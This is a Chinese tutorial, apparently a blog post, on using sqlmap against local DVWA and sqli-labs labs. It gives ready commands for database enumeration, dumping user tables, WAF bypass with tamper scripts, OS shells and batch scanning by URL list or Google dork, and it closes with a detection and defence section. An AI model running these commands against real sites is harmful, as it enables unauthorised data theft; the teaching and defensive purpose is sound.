SQL注入工具实战:sqlmap使用、参数详解、批量扫描方案

03-SQL注入工具实战:sqlmap使用、参数详解、批量扫描方案

合规声明 :sqlmap 是一款攻击性极强的工具,用它测试任何未经授权的网站都是违法行为,可能触犯《刑法》第285条、第286条。本文所有演示仅针对本地靶场(127.0.0.1 上的 DVWA / sqli-labs)。企业环境中使用需持有书面授权(渗透测试授权书/SRC授权范围)。

一、sqlmap 是什么:把你上一篇的手工流程自动化

上一篇你手工走完了"判断注入 → 闭合 → union/盲注 → 爆库爆表 → 拖数据"全流程。sqlmap 做的就是把这套流程自动化、并发化、智能化

  • 你手工要猜闭合方式,它自动尝试单引号、双引号、括号等所有组合
  • 你手工要二分猜字符,它自动发请求做布尔/时间盲注(还自动计算时间阈值)
  • 你手工爆表要一格格翻,它直接 --dump 全表导出成 CSV

**一句话定位:sqlmap = 你的手工注入技能 × 自动化引擎。**所以上一篇的手工基础是这篇的前置条件------看不懂它的 payload,你就无法判断结果是真漏洞还是误报。

二、安装与环境准备

2.1 Kali Linux(推荐)

Kali 自带 sqlmap,开箱即用:

bash 复制代码
sqlmap --version        # 查看版本,能出版本号即可用

2.2 Windows / 普通Linux 手动安装

bash 复制代码
# 方式一:pip 安装(Python 3.8+)
pip install sqlmap
sqlmap --version

# 方式二:源码(免安装,持续最新)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

逐行解释:

  • pip install sqlmap:从 PyPI 安装,最简单,但更新略滞后
  • git clone:直接拉源码,sqlmap 是纯 Python 项目,clone 下来就能跑,推荐想用最新版绕过能力的人用这种

依赖:仅需 Python 3,无其他第三方依赖(自带驱动处理)。本篇演示环境:Kali + 本地 DVWA(http://192.168.56.101/dvwa/,读者按自己靶场 IP 替换)。

三、第一次注入:五分钟上手

3.1 最小可用命令

bash 复制代码
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --batch

参数逐个解释:

  • -u:指定目标 URL(target URL),注意必须带上存在注入的参数 (这里是 id=1
  • --batch:全自动模式,所有交互式提问(如"是否继续""使用哪个payload")自动选择默认项。新手必加,否则会被问懵
  • URL 中 &Submit=Submit:DVWA 要求表单提交参数齐全,实际以你抓包看到的完整 URL 为准

运行后关注这几段输出:

csharp 复制代码
[INFO] testing connection to the target URL          ← 连通性测试
[INFO] testing if the target URL content is stable   ← 页面稳定性检测(判断误报的前提)
[INFO] heuristic (basic) SQL injection detection ... ← 启发式检测(先试探数据库类型)
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [Y/n/q]
→   Payload: id=1' AND 8855=8855 AND 'xSGa'='xSGa'   ← 确认注入的payload
[INFO] the back-end DBMS is MySQL                    ← 后端数据库识别

is vulnerable + Payload 就是注入实锤:sqlmap 用 1' AND 8855=8855 这种"恒真条件"验证了你上一篇手工做过的 and '1'='1 流程。

3.2 会话保持的坑:DVWA 需要登录

DVWA 的漏洞页面要登录后才能访问,直接 -u 会拿到登录页。两种解决方式:

方式一:带 Cookie

bash 复制代码
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=xxxxxxxxxxxxxxxx; security=low" --batch
  • --cookie:附加会话 Cookie。PHPSESSID 从浏览器 F12 → Application → Cookies 里复制
  • security=low:DVWA 的安全等级 Cookie,必须带上,否则默认难度可能不回显

方式二(推荐):请求文件 -r

bash 复制代码
# 1. 浏览器装 Burp 代理,在漏洞页面随便提交一次 id=1
# 2. Burp 的 HTTP history 里找到该请求,右键 → Save item,或直接复制原始请求文本存为 post.txt:
ini 复制代码
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.101
Cookie: PHPSESSID=xxxxxx; security=low
User-Agent: Mozilla/5.0
bash 复制代码
sqlmap -r post.txt --batch
  • -r:直接加载完整 HTTP 请求文件,Cookie、头部、POST 数据原样保留,还能自动识别其中所有可测参数。实战中这是最常用、最省事的方式,尤其适合 POST 注入(见第五节)

四、核心参数详解:注入后的标准动作链

确认注入后,按"爆库 → 爆表 → 爆列 → 拖数据"的顺序使用以下参数(与上一篇手工流程一一对应)。

4.1 枚举系列( Enumeration)

bash 复制代码
sqlmap -u <目标URL> [会话参数] --dbs          # 爆所有数据库名
sqlmap -u <目标URL> [会话参数] -D dvwa --tables    # 指定库 dvwa,爆所有表
sqlmap -u <目标URL> [会话参数] -D dvwa -T users --columns   # 爆 users 表的列
sqlmap -u <目标URL> [会话参数] -D dvwa -T users --dump      # 拖 users 表全表数据

参数解释:

  • --dbs:枚举数据库(databases,复数)
  • -D:指定目标数据库(Database),后续枚举的范围限定在它
  • -T:指定目标表(Table)
  • --tables / --columns:枚举表 / 枚举列
  • --dump:导出表数据,自动存为 CSV(路径在输出里,通常在 ~/.sqlmap/output/目标域名/dump/
  • 链式记忆:--dbs-D xxx --tables-D xxx -T yyy --columns-D xxx -T yyy --dump和手工 information_schema 三连完全同构

--dump 时如果遇到密码哈希,sqlmap 还会询问是否用自带字典尝试破解(--batch 下自动选否,加 --passwords 可专门破解哈希)。

4.2 探测深度:--level 与 --risk

bash 复制代码
sqlmap -u "目标URL" --level=3 --risk=2 --batch
  • --level(默认 1,最高 5):检测范围 。1 只测 GET/POST 参数;2 加测 Cookie;3 加测 User-Agent/Referer 头;4、5 更深。怀疑 Cookie/Header 注入时必须 ≥3
  • --risk(默认 1,最高 3):payload 侵略性。1 用安全 payload;2 加入基于时间的关键词 OR 注入(可能改数据,如 UPDATE 语句场景下危险);3 加 OR 类 payload(会对每条记录生效)。日常 1,确认有洞测不深时升 2
  • 经验:默认参数测不出 ≠ 没洞 。遇到"感觉有注入但 sqlmap 没测出来",先 --level=3 再说

4.3 技术限定:--technique

bash 复制代码
sqlmap -u "目标URL" --technique=BT --batch
  • --technique:限定注入技术,取值对应五种方式:
    • B:布尔盲注(Boolean-based blind)
    • E:报错注入(Error-based)
    • U:union 联合查询(Union query-based)
    • S:堆叠查询(Stacked queries)
    • T:时间盲注(Time-based blind)
  • 用途:目标环境慢/网络延迟大时,先禁用 T(时间盲注每字符都要等延迟);只要数据快就指定 UE--technique=T 单独验证时间盲注

4.4 数据库信息:指纹与当前权限

bash 复制代码
sqlmap -u "目标URL" --banner --current-user --current-db --is-dba --batch
  • --banner:数据库版本横幅(如 MySQL 5.7.36
  • --current-user:当前连接的数据库用户
  • --current-db:当前库
  • --is-dba:判断当前用户是否 DBA 权限(是则 --os-shell 等高级操作有戏)

4.5 其他高频参数

参数 作用 使用场景
--forms 自动解析页面表单并测试 目标只有表单没明确URL时
--threads=10 并发线程数(默认1) 盲注提速(别开太大防打崩目标)
--flush-session 清除该目标的历史缓存重测 改了参数后 sqlmap 仍用旧结果时
--smart 启发式快速判断,只对"像有洞"的参数深测 大批量预筛
--tamper=xxx payload 混淆绕 WAF(第六节详解) 目标有 WAF 时
--random-agent 随机 User-Agent 绕过 UA 黑名单
--proxy="http://127.0.0.1:8080" 走 Burp 代理 想在 Burp 里观察 sqlmap 流量
--os-shell / --sql-shell 拿系统/SQL 交互式 shell 提权后操作(高危,仅授权环境)

强烈建议新手加 --proxy 跑一遍:在 Burp 里亲眼看着 sqlmap 发出的每一个 payload,这是"看懂工具"最快的路径。

5.1 POST 注入(登录框类)

sqli-labs Less-11 是典型 POST 登录注入。用请求文件最方便:

bash 复制代码
# 抓包保存原始请求为 less11.txt(POST /sqli-labs/Less-11/ HTTP/1.1 ...)
# body: uname=admin&passwd=admin&submit=Submit
sqlmap -r less11.txt --batch

sqlmap 自动识别 POST body 中的 unamepasswd 参数并逐一测试。

也可用显式参数:

bash 复制代码
sqlmap -u "http://192.168.56.101/sqli-labs/Less-11/" \
       --data="uname=admin&passwd=admin&submit=Submit" --batch
  • --data:指定 POST body。sqlmap 会对其中每个参数做注入测试
  • 想指定只测某个参数:加 -p uname-p 指定参数名,多参数场景减少无效测试)

有些注入点在 Cookie 里(如 sqli-labs Less-20,uagent/uname cookie):

bash 复制代码
sqlmap -u "http://192.168.56.101/sqli-labs/Less-20/" \
       --cookie="uname=admin" --level=2 --batch
  • 关键点:--level=2 ,否则 sqlmap 根本不测 Cookie。用 -r 方式时同样需要 --level=2
  • 同理,User-Agent/Referer 注入需要 --level=3(可加 -p "User-Agent" 精确指定)

六、tamper 绕 WAF:payload 的"变形金刚"

6.1 tamper 是什么

WAF(Web 应用防火墙)会拦截 union selectsleep(and 1=1 等明显特征。tamper 是 sqlmap 的payload 后处理脚本:在 payload 发出前,自动做编码、大小写变换、注释拆分等变形,骗过特征检测。

bash 复制代码
sqlmap -u "目标URL" --tamper=space2comment --batch
  • --tamper=脚本名:加载 tamper 脚本(在 sqlmap/tamper/ 目录下,自带 80+ 个)
  • 上面例子的效果:payload 中所有空格被替换为 /**/ 注释,如 union/**/select------语义不变,特征已变

6.2 常用 tamper 速查

tamper 变形效果 适用
space2comment 空格 → /**/ 通用 WAF
between >NOT BETWEEN 0 AND 过滤比较符
charencode URL 编码变形 轻量检测
randomcase 随机大小写 UnIoN SeLeCt 关键词大小写匹配的 WAF
equaltolike =LIKE 过滤等号
space2plus 空格 → + 过滤空格
space2randomblank 空格 → 随机空白字符(%09、%0a...) 过滤空格
apostrophemask 引号 → URL 编码 %EF%BC%87(宽字节场景) GBK 编码站
unmagicquotes 绕过 magic_quotes/addslashes 转义 老站
chardoubleencode 双重 URL 编码 只解一层编码的 WAF

可以多个组合:--tamper=space2comment,randomcase(逗号分隔,依次处理)。

6.3 选 tamper 的方法论(不是乱试)

  1. 先手工搞清楚 WAF 拦什么 :Burp 手工发 union select 看拦截页,再分别试大小写、注释、编码------知道它拦"什么特征",才知道用哪个 tamper
  2. 看数据库类型 :部分 tamper 是 MySQL/Oracle 专属(如 apostrophemask 配宽字节只对 GBK+MySQL 有意义)
  3. 组合原则 :编码类 + 结构类各选一个,如 randomcase,space2comment
  4. tamper 不是万能的:如果 WAF 是语义分析型(RASP),变形也绕不过,需要更底层的手工手段(超出本篇范围,记住有这回事即可)

七、批量扫描方案:从"一个站"到"一堆站"

7.1 -m 批量 URL

bash 复制代码
# urls.txt 每行一个带参数的URL:
# http://target1.com/news.php?id=1
# http://target2.com/item.php?cat=3
sqlmap -m urls.txt --batch --smart
  • -m:批量目标文件,每行一个 URL,sqlmap 依次测试(可配合 --threads 提速)
  • --smart:先做启发式快速判断,"不像有洞"的快速跳过,大幅缩短批量时间

7.2 结合 Burp 日志批量测试

挖洞时 Burp 记录了成百上千个请求,全部导出再筛:

bash 复制代码
# Burp: Proxy → HTTP history → 右键 Save items(保存为 burp.log,含完整请求)
sqlmap -l burp.log --batch --smart --scope="http://授权目标\.com/.*"
  • -l:加载 Burp 日志,自动解析其中所有请求并测试
  • --scope:正则限定测试范围,只测授权域名------批量场景的安全带,必系

7.3 谷歌语法批量找目标(仅限授权/SRC 范围)

bash 复制代码
sqlmap -g "inurl:news.php?id=1 site:授权目标域.com" --batch
  • -g:按 Google dork 搜索并测试结果。注意:真实环境必须严格限定授权域,否则第一脚就踩进违法区。这里列出仅为完整性,新手请跳过此参数

7.4 批量工程的三条纪律

  1. 限速--delay=1(每次请求间隔1秒)+ --threads 别超 5,防止把目标打崩(也防止触发封禁)
  2. 范围锁定--scope 或提前清洗 URL 列表,绝不越授权边界
  3. 结果复核 :批量结果里 is vulnerable 的目标,抽查 1-2 个手工验证(工具永远有误报可能),确认后写入报告

八、检测与防御:站在蓝队视角反制 sqlmap

知己知彼。作为防守方(或安全评估中的"红蓝对抗"),要能检测并阻断 sqlmap:

8.1 sqlmap 的指纹特征(检测点)

  1. UA 指纹 :默认 User-Agent 是 sqlmap/1.x.x(可被 --random-agent 绕过,所以不能只防这个)
  2. 请求模式 :海量结构相似、参数值规律变化的请求(8855=8855 这类随机数字恒真式);盲注时同一 URL 高频请求、响应时间呈二分模式
  3. 探测路径 :自动访问 /sqlmap/null/(早期版本连接测试特征)、大量尝试 information_schema 相关查询
  4. payload 特征库AND 8855=8855UNION ALL SELECTsleep(5)BENCHMARK( 等命中 WAF 特征库

8.2 防御方案分层

  • 应用层(根治):上一章的参数化查询------漏洞不存在,工具再强也无洞可打
  • WAF 层:开启 SQL 注入规则集(如 ModSecurity OWASP CRS、云 WAF),拦截特征 payload;配合限频(单 IP 高频相似请求触发验证码/封禁)
  • 监测层:日志审计(如 Wazuh/自研脚本)对 SQL 报错率、单参数请求频率设阈值告警;数据库审计插件记录异常查询
  • 网络层:封禁 sqlmap 默认 UA 与已知扫描器特征;对管理后台做 IP 白名单

8.3 自测实验

在本地靶场前挂一层云 WAF 或本地 ModSecurity,再用 sqlmap 打一次,观察被拦截的 payload → 换 tamper 再打 → 成功与否都记入笔记。这套"攻防对照实验"做完,你对"WAF 不是银弹,参数化才是根治"这句话会有切身体会。

九、小结

本篇核心脉络:

  1. 定位:sqlmap 自动化的是你上一篇的手工流程,看不懂手工就看不懂工具
  2. 上手-u 起步、会话用 --cookie-r 请求文件(推荐后者)
  3. 动作链--dbs-D --tables-D -T --columns--dump,与手工 information_schema 流程同构
  4. 深度与广度--level(测哪里)与 --risk(多激进)调档;--technique 限定 B/E/U/S/T
  5. 场景 :POST 用 --data-r;Cookie/Header 注入必须 --level=2/3
  6. 绕 WAF:tamper 做 payload 变形,选择靠"先弄清 WAF 拦什么",不是乱试
  7. 批量-m URL 列表、-l Burp 日志、--scope 锁定授权范围
  8. 防守:UA/请求模式指纹检测 + WAF + 限频 + 日志审计,根治依然是参数化查询

课后作业:① 用 -r 方式对 DVWA SQL Injection(Low/Medium 各一次)完成全流程爆库拖表;② 加 --proxy 走 Burp 观察 10 条 payload 并解释它们对应的手工动作;③ 挑两个 tamper,对比变形前后的 payload 写进笔记。

下一篇换个口味:不再钻数据库,去浏览器里搞事情------XSS 跨站脚本攻击。

相关推荐
阿拉斯攀登1 小时前
Windows安全基础:CMD-PowerShell、注册表、系统日志、权限机制
架构
2601_953988071 小时前
Ricon组态实时监控 - 毫秒级数据可视化
前端·物联网·数学建模·信息可视化·架构·前端框架
万岳科技程序员小金2 小时前
同城O2O外卖系统源码开发详解:从APP、小程序到后台管理平台的完整架构解析
小程序·架构·同城外卖系统源码·外卖app开发·外卖小程序开发·外卖软件开发·外卖平台搭建
这个DBA有点耶2 小时前
时间序列数据库选型2026:5款主流产品深度对比与场景适配
大数据·数据库·程序人生·架构·时序数据库·dba·数据库管理员
张彦峰ZYF2 小时前
从“记住对话”到“经营组织经验”:TencentDB Agent Memory 的团队级记忆架构、工程取舍与企业落地边界
人工智能·架构·llm·agent·skill·agent memory·tencentdb
国科安芯3 小时前
基于抗辐射MCU的卫星分布式控制系统CANFD总线架构研究
网络·人工智能·分布式·单片机·嵌入式硬件·架构·抗辐射
颜料_vic12 小时前
coze中OpenClaw入门教程:“龙虾”的概念和架构解析
架构
小二·12 小时前
深入理解 MCP 协议:原理、架构与实战开发指南
架构
DLYSB_12 小时前
混合云与工业边缘场景下“云原生告警与物理现场声光”的集成架构实践
云原生·架构·报警灯